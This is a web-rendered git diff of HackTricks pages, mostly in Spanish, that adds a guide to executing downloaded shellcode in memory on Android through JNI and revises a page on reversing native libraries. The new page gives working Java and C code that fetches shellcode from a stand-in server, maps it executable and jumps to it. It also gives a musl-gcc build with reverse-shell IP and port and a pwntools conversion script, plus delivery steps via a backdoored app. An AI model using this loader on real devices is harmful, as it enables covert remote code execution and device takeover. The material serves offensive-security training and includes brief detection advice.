- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,121 @@
|
||||
# Android Ejecución en memoria de código nativo vía JNI (shellcode)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página documenta un patrón práctico para ejecutar payloads nativos completamente en memoria desde un proceso de app Android no confiable usando JNI. El flujo evita crear cualquier binario nativo en disco: descargar bytes crudos de shellcode por HTTP(S), pasarlos a un puente JNI, asignar memoria RX y saltar a ella.
|
||||
|
||||
Por qué importa
|
||||
- Reduce artefactos forenses (no ELF en disco)
|
||||
- Compatible con payloads nativos “stage-2” generados desde un binario exploit ELF
|
||||
- Coincide con el tradecraft usado por malware moderno y red teams
|
||||
|
||||
Patrón de alto nivel
|
||||
1) Obtener los bytes de shellcode en Java/Kotlin
|
||||
2) Llamar a un método nativo (JNI) con el array de bytes
|
||||
3) En JNI: asignar memoria RW → copiar bytes → mprotect a RX → llamar al entrypoint
|
||||
|
||||
Ejemplo mínimo
|
||||
|
||||
Java/Kotlin side
|
||||
```java
|
||||
public final class NativeExec {
|
||||
static { System.loadLibrary("nativeexec"); }
|
||||
public static native int run(byte[] sc);
|
||||
}
|
||||
|
||||
// Download and execute (simplified)
|
||||
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
|
||||
int rc = NativeExec.run(sc);
|
||||
```
|
||||
Lado C JNI (arm64/amd64)
|
||||
```c
|
||||
#include <jni.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static inline void flush_icache(void *p, size_t len) {
|
||||
__builtin___clear_cache((char*)p, (char*)p + len);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL
|
||||
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
|
||||
jsize len = (*env)->GetArrayLength(env, sc);
|
||||
if (len <= 0) return -1;
|
||||
|
||||
// RW anonymous buffer
|
||||
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (buf == MAP_FAILED) return -2;
|
||||
|
||||
jboolean isCopy = 0;
|
||||
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
|
||||
if (!bytes) { munmap(buf, len); return -3; }
|
||||
|
||||
memcpy(buf, bytes, len);
|
||||
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
|
||||
|
||||
// Make RX and execute
|
||||
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
|
||||
flush_icache(buf, len);
|
||||
|
||||
int (*entry)(void) = (int (*)(void))buf;
|
||||
int ret = entry();
|
||||
|
||||
// Optional: restore RW and wipe
|
||||
mprotect(buf, len, PROT_READ | PROT_WRITE);
|
||||
memset(buf, 0, len);
|
||||
munmap(buf, len);
|
||||
return ret;
|
||||
}
|
||||
```
|
||||
Notas y advertencias
|
||||
- W^X/execmem: Android moderno aplica W^X; los mapeos anónimos PROT_EXEC generalmente siguen estando permitidos para procesos de app con JIT (sujeto a la política de SELinux). Algunos dispositivos/ROMs lo restringen; recurre a JIT-allocated exec pools o native bridges cuando sea necesario.
|
||||
- Architectures: Asegúrate de que la arquitectura del shellcode coincida con la del dispositivo (arm64-v8a comúnmente; x86 solo en emuladores).
|
||||
- Contrato del entrypoint: Decide una convención para la entrada de tu shellcode (no args vs puntero a estructura). Mantenlo position-independent (PIC).
|
||||
- Estabilidad: Limpia la caché de instrucciones antes de saltar; una caché desajustada puede provocar fallos en ARM.
|
||||
|
||||
Packaging ELF → shellcode independiente de posición
|
||||
Un flujo de trabajo robusto para el operador es:
|
||||
- Compila tu exploit como un ELF estático con musl-gcc
|
||||
- Convierte el ELF en un blob de shellcode auto‑cargable usando pwntools’ shellcraft.loader_append
|
||||
|
||||
Compilar
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
Transformar ELF a raw shellcode (ejemplo amd64)
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
loader = shellcraft.loader_append(elf.data, arch='amd64')
|
||||
sc = asm(loader)
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
|
||||
```
|
||||
Por qué funciona loader_append: emite un pequeño loader que mapea los segmentos de programa ELF embebidos en memoria y transfiere el control a su entrypoint, dándote un único raw blob que puede ser memcpy’ed y ejecutado por la app.
|
||||
|
||||
Entrega
|
||||
- Hospeda sc en un servidor HTTP(S) que controles
|
||||
- La app backdoored/test descarga sc e invoca el puente JNI mostrado arriba
|
||||
- Escucha en tu operator box cualquier reverse connection que establezca el kernel/user-mode payload
|
||||
|
||||
Flujo de validación para kernel payloads
|
||||
- Usa un vmlinux simbolizado para reversing/recuperación rápida de offsets
|
||||
- Prototipa primitives en una debug image conveniente si está disponible, pero siempre re‑valida en el target Android real (kallsyms, KASLR slide, page-table layout, and mitigations differ)
|
||||
|
||||
Endurecimiento/Detección (blue team)
|
||||
- Prohibir PROT_EXEC anónimo en dominios de app cuando sea posible (SELinux policy)
|
||||
- Aplicar integridad de código estricta (no dynamic native loading desde la red) y validar los canales de actualización
|
||||
- Monitorear transiciones sospechosas mmap/mprotect a RX y grandes copias de byte-array que precedan jumps
|
||||
|
||||
Referencias
|
||||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,16 +1,16 @@
|
||||
# Revirtiendo bibliotecas nativas
|
||||
# Reversión de bibliotecas nativas
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Para más información consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Las apps Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también abusan de estas bibliotecas porque los objetos compartidos ELF siguen siendo más difíciles de descompilar que el byte-code DEX/OAT.
|
||||
Esta página se centra en flujos de trabajo *prácticos* y mejoras *recientes* de herramientas (2023-2025) que facilitan el reversing de archivos `.so` de Android.
|
||||
Las apps Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas que requieren rendimiento. Los creadores de malware también abusan de estas bibliotecas porque los ELF shared objects siguen siendo más difíciles de decompilar que el byte-code DEX/OAT.
|
||||
Esta página se centra en flujos de trabajo *prácticos* y mejoras recientes en tooling (2023-2025) que hacen más fácil revertir archivos `.so` de Android.
|
||||
|
||||
---
|
||||
|
||||
### Flujo rápido de triaje para un `libfoo.so` recién extraído
|
||||
### Flujo rápido de triage para un `libfoo.so` recién extraído
|
||||
|
||||
1. **Extraer la biblioteca**
|
||||
```bash
|
||||
@ -25,14 +25,14 @@ file libfoo.so # arm64 or arm32 / x86
|
||||
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
|
||||
checksec --file libfoo.so # (peda/pwntools)
|
||||
```
|
||||
3. **Listar símbolos exportados y enlaces JNI**
|
||||
3. **Listar símbolos exportados y bindings JNI**
|
||||
```bash
|
||||
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
|
||||
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
|
||||
```
|
||||
4. **Cargar en un decompilador** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) y ejecutar análisis automático.
|
||||
Las versiones más recientes de Ghidra introdujeron un decompilador AArch64 que reconoce stubs PAC/BTI y etiquetas MTE, mejorando considerablemente el análisis de bibliotecas construidas con el NDK de Android 14.
|
||||
5. **Decidir entre reversing estático o dinámico:** el código stripped u ofuscado a menudo necesita *instrumentación* (Frida, ptrace/gdbserver, LLDB).
|
||||
4. **Cargar en un descompilador** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) y ejecutar el auto-análisis.
|
||||
Las versiones más recientes de Ghidra introdujeron un descompilador AArch64 que reconoce PAC/BTI stubs y MTE tags, mejorando enormemente el análisis de bibliotecas compiladas con el Android 14 NDK.
|
||||
5. **Decidir entre reversing estático vs dinámico:** el código stripped u ofuscado a menudo necesita *instrumentation* (Frida, ptrace/gdbserver, LLDB).
|
||||
|
||||
---
|
||||
|
||||
@ -40,11 +40,11 @@ Las versiones más recientes de Ghidra introdujeron un decompilador AArch64 que
|
||||
|
||||
La serie 16 de Frida trajo varias mejoras específicas para Android que ayudan cuando el objetivo usa optimizaciones modernas de Clang/LLD:
|
||||
|
||||
* `thumb-relocator` ahora puede *hook tiny ARM/Thumb functions* generadas por la alineación agresiva de LLD (`--icf=all`).
|
||||
* La enumeración y re-binding de *ELF import slots* funciona en Android, permitiendo parcheo por módulo con `dlopen()`/`dlsym()` cuando los inline hooks son rechazados.
|
||||
* Se corrigió Java hooking para el nuevo **ART quick-entrypoint** usado cuando las apps se compilan con `--enable-optimizations` en Android 14.
|
||||
* `thumb-relocator` can now *hook tiny ARM/Thumb functions* generated by LLD’s aggressive alignment (`--icf=all`).
|
||||
* Enumerating and rebinding *ELF import slots* works on Android, enabling per-module `dlopen()`/`dlsym()` patching when inline hooks are rejected.
|
||||
* Java hooking was fixed for the new **ART quick-entrypoint** used when apps are compiled with `--enable-optimizations` on Android 14.
|
||||
|
||||
Ejemplo: enumerando todas las funciones registradas mediante `RegisterNatives` y volcando sus direcciones en tiempo de ejecución:
|
||||
Ejemplo: enumerar todas las funciones registradas mediante `RegisterNatives` y volcar sus direcciones en tiempo de ejecución:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
var Runtime = Java.use('java.lang.Runtime');
|
||||
@ -63,20 +63,20 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
|
||||
```
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||
|
||||
### Telemetría JNI local al proceso vía .so precargado (SoTap)
|
||||
### Telemetría JNI a nivel de proceso mediante .so precargado (SoTap)
|
||||
|
||||
Cuando la instrumentación completa es excesiva o está bloqueada, aún puedes obtener visibilidad a nivel nativo precargando un pequeño logger dentro del proceso objetivo. SoTap es una librería nativa ligera de Android (.so) que registra el comportamiento en tiempo de ejecución de otras librerías JNI (.so) dentro del mismo proceso de la app (no se requiere root).
|
||||
Cuando la instrumentación completa es exagerada o está bloqueada, aún puedes obtener visibilidad a nivel nativo precargando un pequeño logger dentro del proceso objetivo. SoTap es una librería nativa ligera de Android (.so) que registra el comportamiento en tiempo de ejecución de otras librerías JNI (.so) dentro del mismo proceso de la app (no se requiere root).
|
||||
|
||||
Propiedades clave:
|
||||
- Se inicializa temprano y observa las interacciones JNI/nativas dentro del proceso que lo carga.
|
||||
- Persiste logs usando múltiples rutas escribibles con una degradación elegante a Logcat cuando el almacenamiento está restringido.
|
||||
- Personalizable desde el código fuente: edita sotap.c para ampliar/ajustar qué se registra y recompila por ABI.
|
||||
- Se inicializa temprano y observa las interacciones JNI/nativas dentro del proceso que la carga.
|
||||
- Persiste registros usando múltiples rutas escribibles con retroceso a Logcat cuando el almacenamiento está restringido.
|
||||
- Personalizable en origen: edita sotap.c para ampliar/ajustar lo que se registra y recompila por ABI.
|
||||
|
||||
Setup (repack the APK):
|
||||
1) Coloca la compilación adecuada por ABI dentro del APK para que el loader pueda resolver libsotap.so:
|
||||
Configuración (reempacar el APK):
|
||||
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
|
||||
- lib/arm64-v8a/libsotap.so (for arm64)
|
||||
- lib/armeabi-v7a/libsotap.so (for arm32)
|
||||
2) Asegura que SoTap se cargue antes que otras libs JNI. Injerta una llamada temprano (por ejemplo, Application subclass static initializer or onCreate) para que el logger se inicialice primero. Smali snippet example:
|
||||
2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
|
||||
```smali
|
||||
const-string v0, "sotap"
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
@ -92,45 +92,56 @@ Log paths (checked in order):
|
||||
# If all fail: fallback to Logcat only
|
||||
```
|
||||
Notas y solución de problemas:
|
||||
- La alineación de ABI es obligatoria. Un desajuste provocará UnsatisfiedLinkError y el logger no se cargará.
|
||||
- Las restricciones de almacenamiento son comunes en Android moderno; si las escrituras de archivos fallan, SoTap seguirá emitiendo vía Logcat.
|
||||
- El comportamiento y el nivel de verbosidad están pensados para personalizarse; recompila desde la fuente después de editar sotap.c.
|
||||
- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load.
|
||||
- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat.
|
||||
- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c.
|
||||
|
||||
This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available.
|
||||
|
||||
---
|
||||
|
||||
### Recent vulnerabilities worth hunting for in APKs
|
||||
### Véase también: in‑memory native code execution via JNI
|
||||
|
||||
| Year | CVE | Affected library | Notes |
|
||||
|------|-----|------------------|-------|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Desbordamiento de heap alcanzable desde código nativo que decodifica imágenes WebP. Varias apps de Android incluyen versiones vulnerables. Cuando veas un `libwebp.so` dentro de un APK, verifica su versión e intenta explotarlo o parchearlo.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Varios problemas de memory-safety y padding-oracle. Muchos bundles de Flutter & ReactNative incluyen su propio `libcrypto.so`.| |
|
||||
A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here:
|
||||
|
||||
When you spot *third-party* `.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
### Anti-Reversing & Hardening trends (Android 13-15)
|
||||
### Vulnerabilidades recientes que vale la pena buscar en APKs
|
||||
|
||||
| Año | CVE | Biblioteca afectada | Notas |
|
||||
|------|-----|------------------|-------|
|
||||
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| |
|
||||
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
|
||||
|
||||
Cuando encuentres archivos `.so` de *third-party* dentro de un APK, siempre verifica su hash contra las advisories upstream. SCA (Software Composition Analysis) es poco común en mobile, por lo que las builds vulnerables y desactualizadas son rampantes.
|
||||
|
||||
---
|
||||
|
||||
### Tendencias de Anti-Reversing & Hardening (Android 13-15)
|
||||
|
||||
* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 enables PAC/BTI in system libraries on supported ARMv8.3+ silicon. Decompilers now display PAC‐related pseudo-instructions; for dynamic analysis Frida injects trampolines *after* stripping PAC, but your custom trampolines should call `pacda`/`autibsp` where necessary.
|
||||
* **MTE & Scudo hardened allocator:** el memory-tagging es opcional pero muchas apps conscientes de Play-Integrity se compilan con `-fsanitize=memtag`; usa `setprop arm64.memtag.dump 1` junto con `adb shell am start ...` para capturar fallos de etiqueta.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** los packers comerciales (p. ej., Bangcle, SecNeo) protegen cada vez más el *native* code, no solo Java; espera control-flow falso y blobs de strings cifrados en `.rodata`.
|
||||
* **MTE & Scudo hardened allocator:** memory-tagging is opt-in but many Play-Integrity aware apps build with `-fsanitize=memtag`; use `setprop arm64.memtag.dump 1` plus `adb shell am start ...` to capture tag faults.
|
||||
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`.
|
||||
|
||||
---
|
||||
|
||||
### Resources
|
||||
### Recursos
|
||||
|
||||
- **Aprender ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
|
||||
- **Documentación JNI & NDK:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
||||
- **Depuración de librerías nativas:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
|
||||
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
||||
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### References
|
||||
### Referencias
|
||||
|
||||
- Registro de cambios de Frida 16.x (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- Aviso NVD para el desbordamiento de `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: logger ligero in-app para comportamiento JNI (.so) – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- Releases de SoTap – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- ¿Cómo trabajar con SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user